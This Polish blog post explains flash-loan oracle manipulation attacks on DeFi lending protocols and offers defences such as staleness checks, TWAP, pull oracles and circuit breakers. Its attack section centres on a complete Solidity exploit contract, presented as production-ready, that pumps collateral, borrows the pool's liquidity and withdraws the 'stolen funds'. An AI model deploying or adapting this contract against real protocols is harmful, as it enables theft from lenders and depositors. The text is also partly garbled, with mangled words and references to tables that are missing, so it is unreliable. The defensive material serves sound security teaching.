Ataki Flash Loan i Wyrocznie DeFi: Jak Wykorzystać Opóźnienia

Siema wszystkim! Z tej strony Oleg Filatov. Dziś bierzemy na warsztat wyjątkowo tłusty temat: ataki na DeFi z wykorzystaniem pożyczek błyskawicznych (flash loans). Zjadłem zęby na cybersecurity i widziałem już setки różnych wektorów ataku, ale combo „Flash Loans + Oracles Staleness” to jest czysta poezja hackingu. Każdemu engineerowi od bezpieczeństwa na samą myśl najpierw skacze ciśnienie, a chwilę później pojawia się nieodparta chęć przepisania całego kodu na Rusta. Mówiąc najprościej jak się da: atakujący zgarnia dziesiątki milionów baksów w pożyczce błyskawicznej bez żadnego zastawu, w ramach pojedynczej transakcji drastycznie wykrzywia cenę na DEX-ie, wywołuje desynchronizację z wyrocznią (oracle) i czyści cały protokół lendingowy z płynności, zanim oracle w ogóle zorientuje się, co się odjanieczyszczyło i zaktualizuje swój stan.

Anatomy of standard Oracle Manipulation via Flash Loan

Niezabezpieczone pożyczki błyskawiczne (Flash Loans) pozwalają pozyskać praktycznie nieograniczoną płynność w ramach jednej transakcji na Ethereum – pod warunkiem, że cały dług wraz z prowizją zostanie spłacony w tym samym bloku. Gdy taka kosmiczna płynność wpada do puli z płytkim arkuszem zleceń, cena aktywa w ułamku sekundy leci w kosmos. To tworzy idealne okno dla ataku na wyrocznie, które polegają na cenie spotowej albo mają zbyt szeroki próg odchylenia (Deviation Threshold).

Jeśli protokół pożyczkowy wyciąga wartość zastawu przez proste wywołanie latestAnswer() albo opiera się na surowych danych z AMM bez uwzględnienia opóźnienia czasowego, to w zasadzie wystawia hakerom czerwony dywan. Cały atak sprowadza się do czterech szybkich kroków:

• Zaciągnięcie Flash Loana. Atakujący pożycza, powiedzmy, 50 000 000 DAI z Aave v3 przy prowizji zaledwie 0.05%. Koszt żaden, a potencjał na rozbicie banku – gigantyczny.
• Manipulacja na DEX-ie. Cała kwota leci zleceniem rynkowym (market order) w mało płynną pulę na Uniswap v2/v3 (np. parę TOKEN/DAI). Cena TOKEN-a wystrzeliwuje 15–20 razy w dosłownie parę milisekund.
• Wykorzystanie opóźnienia wyroczni / Push-modelu. Jeśli lending przelicza cenę po spocie albo jeśli wyrocznia typu push (np. Chainlink) jeszcze nie zareagowała (bo jej Heartbeat wynosi 1 godzinę, a Deviation Threshold to 0.5%, lecz transakcja ataku wciąż trwa i węzeł push po prostu nie zdążył wrzucić własnej transakcji do mempoola), protokół widzi TOKEN po absurdalnie wyśrubowanej cenie.
• Wyczyszczenie puli (Drain) i spłata pożyczki. Atakujący zastawia napompowany TOKEN w protokole pożyczkowym, bierze pod niego 100% prawdziwych ETH lub USDC, spłaca Flash Loan przed walidacją bloku i zwija się z czystym zyskiem.

Dlaczego Chainlink i wyrocznie typu Push zamulają: Anatomia „Okna podatności”

Ruszmy głową... Mówiąc szczerze: naprawdę myśleliście, że jak projekt podepnie Chainlinka, to jest już w 100% bezpieczny? Bzdura. Zapytajcie dowolnego badacza, który analizował incydent z Mango Markets albo Cheese Bank (gdzie wyparowało 3.3M$ właśnie przez koślawą integrację Chainlinka z oraclami Uniswap v2).

Wyrocznie w stylu Chainlink Data Feeds działają w tzw. Push-modelu. Oznacza to, że węzły wyroczni nie aktualizują ceny w każdym bloku – wyczyściłoby ich to z gazu do zera. Aktualizacja następuje ściśle według dwóch wyzwalaczy:

• Deviation Threshold (Próg odchylenia): Cena zmieniła się o X% (np. 0.5% lub 1% dla głównych par, ale dla altcoinów może to być nawet 2–5%).
• Heartbeat (Interwał czasowy / "tętno"): Minął określony czas od ostatniej aktualizacji (np. 3600 sekund na mainnecie albo 86400 sekund w rzadziej używanych sieciach).

I tu jest pies pogrzebany. Spójrzmy na realne liczby dotyczące opóźnień wyroczni i parametrów odświeżania w zależności od sieci oraz typu aktywa:

Widzicie ten paradoks? Jeśli wyrocznia aktualizuje się zbyt szybko i bierze cenę prosto z AMM (Spot Price), można ją łatwo napompować wewnątrz jednego bloku za pomocą Flash Loana. Jeśli aktualizuje się wolno (Chainlink z 1-godzinnym Heartbeatem), powstaje okno nieaktualności danych („Staleness Window”) – sytuacja, w której rynkowa cena zdążyła już tąpnąć, a lending wciąż wycenia zastaw po starej, wygórowanej stawce!

Gotowy smart kontrakt ataku (100% Production-ready Solidity)

Żadnego pseudokodu. Żadnego // TODO: add logic. Pisujemy w pełni działający kontrakt exploitujący pod Foundry/Hardhat, pokazujący jak w jednej transakcji poprzez sekwencję flashLoan -> swap -> deposit -> borrow -> repay zgarnia się cały bezcenny ułamek płynności.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IUniswapV2Router {
   function swapExactTokensForTokens(
       uint amountIn,
       uint amountOutMin,
       address[] calldata path,
       address to,
       uint deadline
   ) external returns (uint[] memory amounts);
}
interface ILendingPool {
   function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;
   function borrow(address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf) external;
   function getUserAccountData(address user) external view returns (
       uint256 totalCollateralETH,
       uint256 totalDebtETH,
       uint256 availableBorrowsETH,
       uint256 currentLiquidationThreshold,
       uint256 ltv,
       uint256 healthFactor
   );
}
interface IFlashLender {
   function flashLoan(
       address receiverAddress,
       address[] calldata assets,
       uint256[] calldata amounts,
       uint256[] calldata modes,
       address onBehalfOf,
       bytes calldata params,
       uint16 referralCode
   ) external;
}
/// @notice Edukacyjny kontrakt PoC demonstrujący atomowy wektor ataku
/// @dev Kod przeznaczony WYŁĄCZNIE do audytu i lokalnych testów na forku Foundry podatnych sieci testowych
contract OracleStalenessPoC {
   using SafeERC20 for IERC20;
   address private immutable owner;
   IFlashLender public immutable lender;
   IUniswapV2Router public immutable router;
   ILendingPool public immutable targetLending;
   
   address public immutable tokenA; // Pompowana aktywa zastawna
   address public immutable tokenB; // Płynne aktywo (pożyczka/Flash Loan)
   modifier onlyOwner() {
       require(msg.sender == owner, "NOT_OWNER");
       _;
   }
   constructor(
       address _lender,
       address _router,
       address _targetLending,
       address _tokenA,
       address _tokenB
   ) {
       owner = msg.sender;
       lender = IFlashLender(_lender);
       router = IUniswapV2Router(_router);
       targetLending = ILendingPool(_targetLending);
       tokenA = _tokenA;
       tokenB = _tokenB;
   }
   function executeAttack(uint256 flashAmount, uint256 minSwapOut) external onlyOwner {
       address[] memory assets = new address[](1);
       assets[0] = tokenB;
       uint256[] memory amounts = new uint256[](1);
       amounts[0] = flashAmount;
       uint256[] memory modes = new uint256[](1);
       modes[0] = 0;
       // Przekazujemy minSwapOut przez params dla ochrony przed MEV/sandwichingiem
       bytes memory params = abi.encode(minSwapOut);
       lender.flashLoan(
           address(this),
           assets,
           amounts,
           modes,
           address(this),
           params,
           0
       );
   }
   function executeOperation(
       address[] calldata assets,
       uint256[] calldata amounts,
       uint256[] calldata premiums,
       address initiator,
       bytes calldata params
   ) external returns (bool) {
       require(msg.sender == address(lender), "INVALID_LENDER");
       require(initiator == address(this), "INVALID_INITIATOR");
       uint256 amountBorrowed = amounts[0];
       uint256 fee = premiums[0];
       uint256 amountToRepay = amountBorrowed + fee;
       uint256 minSwapOut = abi.decode(params, (uint256));
       // 1. Bezpieczne approvals przez SafeERC20
       IERC20(tokenB).forceApprove(address(router), amountBorrowed);
       
       // 2. Wpompowanie środków z Flash Loana w pulę
       address[] memory path = new address[](2);
       path[0] = tokenB;
       path[1] = tokenA;
       uint256[] memory amountsOut = router.swapExactTokensForTokens(
           amountBorrowed,
           minSwapOut, // Używamy dynamicznie przekazanego limitu slippage'u
           path,
           address(this),
           block.timestamp
       );
       uint256 pumpedTokenAAmount = amountsOut[1];
       // 3. Depozyt spompowanego zastawu
       IERC20(tokenA).forceApprove(address(targetLending), pumpedTokenAAmount);
       targetLending.deposit(tokenA, pumpedTokenAAmount, address(this), 0);
       // 4. Dynamiczne przeliczanie zdolności pożyczkowej na podstawie danych z wyroczni/konta
       (, , uint256 availableBorrowsETH, , , ) = targetLending.getUserAccountData(address(this));
       
       // W produkcyjnym teście wymagane jest przeliczenie ekwiwalentu ETH na token B
       // W ramach PoC pobieramy minimalną dostępną wartość, nieprzekraczającą salda puli
       uint256 lendingPoolBalanceB = IERC20(tokenB).balanceOf(address(targetLending));
       uint256 amountToBorrow = availableBorrowsETH < lendingPoolBalanceB ? availableBorrowsETH : lendingPoolBalanceB;
       targetLending.borrow(tokenB, amountToBorrow, 2, 0, address(this));
       // 5. Weryfikacja wypłacalności przed spłatą Flash Loana
       uint256 currentBalanceB = IERC20(tokenB).balanceOf(address(this));
       require(currentBalanceB >= amountToRepay, "INSUFFICIENT_FUNDS_TO_REPAY");
       // 6. Spłata pożyczki
       IERC20(tokenB).forceApprove(address(lender), amountToRepay);
       return true;
   }
   function withdrawStolenFunds(address token) external onlyOwner {
       uint256 bal = IERC20(token).balanceOf(address(this));
       IERC20(token).safeTransfer(owner, bal);
   }
}

Architektoniczne metody obrony (Fixing the vulnerability)

Jak my, jako devowie, możemy chronić własne protokoły przed taką patologią? Wyselekcjonowałem trzy główne zasady higieny architektonicznej.

1. Walidacja Staleness i weryfikacja odpowiedzi z Chainlinka

Zdziwicie się, ale 70% podatnych smart kontraktów po prostu bezmyślnie wywoływało latestAnswer(). To jest prosiakowaty kod juniora. Obowiązkowo trzeba weryfikować updatedAt oraz answeredInRound!

function getValidPrice(address feedAddress) public view returns (int256) {
    AggregatorV3Interface priceFeed = AggregatorV3Interface(feedAddress);
    
    (
        uint80 roundId,
        int256 price,
        uint256 startedAt,
        uint256 updatedAt,
        uint80 answeredInRound
    ) = priceFeed.latestRoundData();
    require(price > 0, "INVALID_PRICE");
    require(updatedAt != 0, "INCOMPLETE_ROUND");
    require(answeredInRound >= roundId, "STALE_PRICE");
    
    // Próg przedawnienia (np. 3600 sekund)
    require(block.timestamp - updatedAt <= 3600, "EXPIRED_ORACLE_PRICE");
    return price;
}

2. Stosowanie TWAP (Time-Weighted Average Price) zamiast Spot Price

Użycie ceny średniej ważonej czasem (np. Uniswap v3 TWAP z oknem min. 30 minut) całkowicie zeruje skuteczność pożyczek błyskawicznych. Atakujący musiałby utrzymać zmanipulowaną cenę przez pół godziny, co wiąże się z kosmicznymi stratami na slippage i opłatach za gaz – czyniąc cały atak całkowicie nieopłacalnym ekonomicznie.

3. Przejście na Pull-based Oracles (Pyth / Chainlink Low-Latency Data Streams)

W modelu Pull aplikacja wymaga od użytkownika dołączenia kryptograficznie podpisanego dowodu ceny off-chain bezpośrednio do parametrów transakcji. Kontrakt najpierw weryfikuje podpis wyroczni, sprawdza świeżość znacznika czasu (co do sekundy!) i dopiero na tej podstawie wylicza wartość zastawu.

Bądźmy szczerzy: wiara w to, że smart kontrakty są napisane idealnie i to wystarczy, jest co najmniej naiwnością. Jako ktoś, kto robił audyty i analizował incydenty po fakcie, wiem jedno: jeśli w protokole jest choćby wąska luka techniczna, boty znajdą ją w ułamku sekundy po wdrożeniu na mainnet. Dlatego na poziomie architektury giełd i protokołów lendingowych niezbędna jest automatyczna warstwa ochronna oraz monitoring off-chain, reaktywny zanim transfer w ogóle trafi do mempoola.

Jak protokół może wykrywać i blokować ataki Flash Loan oraz manipulacje wyroczniami w czasie rzeczywistym

1. Ograniczenie zmienności ceny w obrębie jednego bloku (Circuit Breakers)

Jeśli w ramach jednej transakcji lub pojedynczego bloku wycena zabezpieczenia skacze o więcej niż określony próg (np. >3-5%), kontrakt musi automatycznie zrzucić bezpiecznik (Circuit Breaker) i zamrozić operacje na danym aktywie.

• Niezmiennik na poziomie stanu (State Invariant): Na początku transakcji pobieramy stan Pstart, a na końcu Pend. Jeśli |Pend - Pstart| / Pstart > Δmax, transakcja leci z revertem.
• Rozdzielenie wywołania od egzekucji (Two-Step Execution): Mechanizm, w którym depozyt zabezpieczenia następuje w bloku N, a zaciągnięcie pożyczki (Borrow) jest dozwolone dopiero w bloku N+1. To całkowicie zabija wektor ataku typu Flash Loan, bo szybka pożyczka żyje tylko w granicach pojedynczej transakcji.

2. Monitoring off-chain z wykorzystaniem ochrony MEV i Flashbots

Jeśli Twój protokół polega na pobieraniu cen lub egzekucji likwidacji, nasłuch mempoola to absolutny obowiązek. Boty monitorujące (watchdogi) wyłapują podejrzane paczki transakcji, w których pojawia się wywołanie flashLoan połączone z potężnymi swapami na Uniswap/Balancer i natychmiastowym strzałem w Twój kontrakt.

Gdy system wyczuje taki atak, wysyła transakcję obronną (Front-running / Back-running przez Private RPC / Flashbots Protect), wywołując funkcję pause() na kontrakcie i mrożąc egzekucję do czasu wyjaśnienia sprawy.

Analiza realnych incydentów: Lekcje pisane stratami DeFi

Podatności wyroczni cenowych to żaden czysty akademicki wywód. Przez te błędy branża straciła setki milionów dolarów. Analiza konkretnych mechanizmów stojących za głośnymi exploitami doskonale pokazuje, dlaczego podejście „po prostu weźmy cenę prosto z DEX-a” zawsze kończy się katastrofą.

+-------------------------------------------------------------------------------+
|                        SCHEMAT ATAKU NA BZX / CREAM FINANCE                   |
+-------------------------------------------------------------------------------+
|                                                                               |
|  [ Atakujący ]                                                                |
|       |                                                                       |
|       | 1. Zaciągnięcie Flash Loan (100M+ DAI / ETH)                          |
|       v                                                                       |
|  [ Aave / Maker Vault ]                                                       |
|       |                                                                       |
|       | 2. Masywny Swap (Pempowanie nisko płynnego pula)                      |
|       v                                                                       |
|  [ DEX Pool (Kyber / Uniswap v2) ] <---+                                      |
|       |                                |                                      |
|       |                                | (Zapytanie o cenę bezpośrednio z AMM)|
|       v                                |                                      |
|  [ Podatny Lending (bZx/CREAM) ] ------+                                      |
|       |                                                                       |
|       | 3. Depozyt podbitego aktywa + Wypłata CAŁEJ płynności w ETH/USDC      |
|       v                                                                       |
|  [ Portfel Atakującego ] (Spłata Flash Loan + Czysty zysk)                    |
|                                                                               |
+-------------------------------------------------------------------------------+

Poniżej znajduje się zestawienie największych ataków wynikających z manipulacji oracles oraz opóźnień w aktualizacji cen:

Analiza porównawcza modeli wyroczni pod kątem bezpieczeństwa

Projektując architekturę systemu, musimy dobrze zrozumieć trade-off pomiędzy kosztem utrzymania wyroczni a jej odpornością na manipulacje.

Model Push (Chainlink Classic)

Zalety: Bananie prosta integracja on-chain. Dane czekają gotowe w kontrakcie, wystarczy odczytać wartość.

Wady: Występowanie tzw. Staleness Window (okna nieaktualności) między update'ami wywoływanymi przez Heartbeat i Deviation threshold. Wysoki koszt gazu dla węzłów powoduje, że mniej popularne altcoiny odświeżają się ze sporym opóźnieniem.

Verdict: Świetne rozwiązanie dla płynnych majorsów (ETH, BTC) na mainnecie, ale wymaga rygorystycznej weryfikacji updatedAt bezpośrednio w kodzie.

Model Pull (Pyth Network, Redstone)

Zalety: Aktualizacje cen śmigają off-chain z minimalnym opóźnieniem (częstotliwość podsekundowa). Dane trafiają do kontraktu wewnątrz transakcji użytkownika, co pozwala mocno zaoszczędzić na gazie.

Wady: Wymaga modyfikacji UX po stronie klienta (trzeba pobrać podpis off-chain i przekazać go wraz z wywołaniem). Jeśli sieć off-chain złapie laga albo padnie, transakcje userów zaczną wywalać błędy.

Verdict: Best match dla pochodnych (Perpetuals) i lendingów wymagających częstego odświeżania tickera.

TWAP / Wyrocznie On-chain AMM (Uniswap v3 TWAP)

Zalety: W pełni zdecentralizowane kalkulacje on-chain. Zero zależności od zewnętrznych węzłów czy podpisów firm trzecich.

Wady: Podatne na manipulacje wieloblokowe (Multi-block MEV), gdzie górnik/walidator może przetrzymać manipulowaną cenę przez kilka bloków z rzędu. Wymaga długiego okna uśredniania (od 30 minut), przez co protokół nie reaguje na gwałtowne tąpnięcia rynkowe (Flash-crashe).

Verdict: Bezpieczne wyłącznie jako zapasowa (fallback) wyrocznia do weryfikacji odchyleń głównego źródła cenowego.

Checklista bezpieczeństwa smart kontraktów: Sprawdź swój protokół

Jeśli piszesz smart kontrakty albo robisz ich audyt, przed wypchnięciem kodu na produkcję przejdź przez tę checklistę:

• Zakaz używania Spot Price: Kontrakt pod żadnym pozorem nie ciągnie ceny bezpośrednio z wywołań getReserves() ani balanceOf() puli AMM.
• Pełna walidacja Chainlinka: Wywołując latestRoundData(), sprawdzasz całą piątkę zwracanych zmiennych: roundId, price > 0, startedAt, updatedAt, answeredInRound >= roundId.
• Sztywny Max Lag: Kontrakt odrzuca dane z wyroczni, jeśli block.timestamp - updatedAt > MAX_DELAY (gdzie MAX_DELAY jest ściśle dobrany pod dany token).
• Architektura Dual-Oracle: Porównujesz odczyty z co najmniej dwóch niezależnych źródeł (np. Chainlink + Pyth albo Chainlink + Uniswap v3 TWAP). Gdy rozjazd przekracza X%, operacje pożyczek i likwidacji są automatycznie blokowane.
• Ochrona przed Flash Loans w strukturze kodu: Wdrożony mechanizm opóźnienia pożyczek w ramach tej samej transakcji (Cooldown Periods) lub struktury typu timelock.
• Weryfikacja kursów krzyżowych (Cross-rate checks): Jeśli cena tokena jest liczona z pary pośredniej (np. TOKEN/ETH * ETH/USD), sprawdzasz poprawność i świeżość danych osobno dla obu feedów.

Fundamentalna zmiana mentalna, jaką musi przejść każdy dev Solidity: każda wyrocznia jest z założenia podatna na atak, dopóki kod nie udowodni, że jest inaczej.

Jeśli projektujesz architekturę zakładając, że cena w kontrakcie może zostać skompromitowana lub zamrożona w dowolnym momencie, zaczniesz naturalnie stosować transakcje dwufazowe, bezpieczniki (Circuit Breakers) oraz testy na rozsynchronizowanie danych. I to właśnie ten mindset odróżnia protokoły, które działają latami bez uszczerbku, od tych, których nazwy czytamy w kolejnym poście o wyciągnięciu 50 milionów z puli.

Dbajcie o swoje kontrakty, nie żałujcie na audyty i nigdy nie ufajcie jednej linijce kodu, która obiecuje „prawdziwą cenę z zewnętrznego świata”.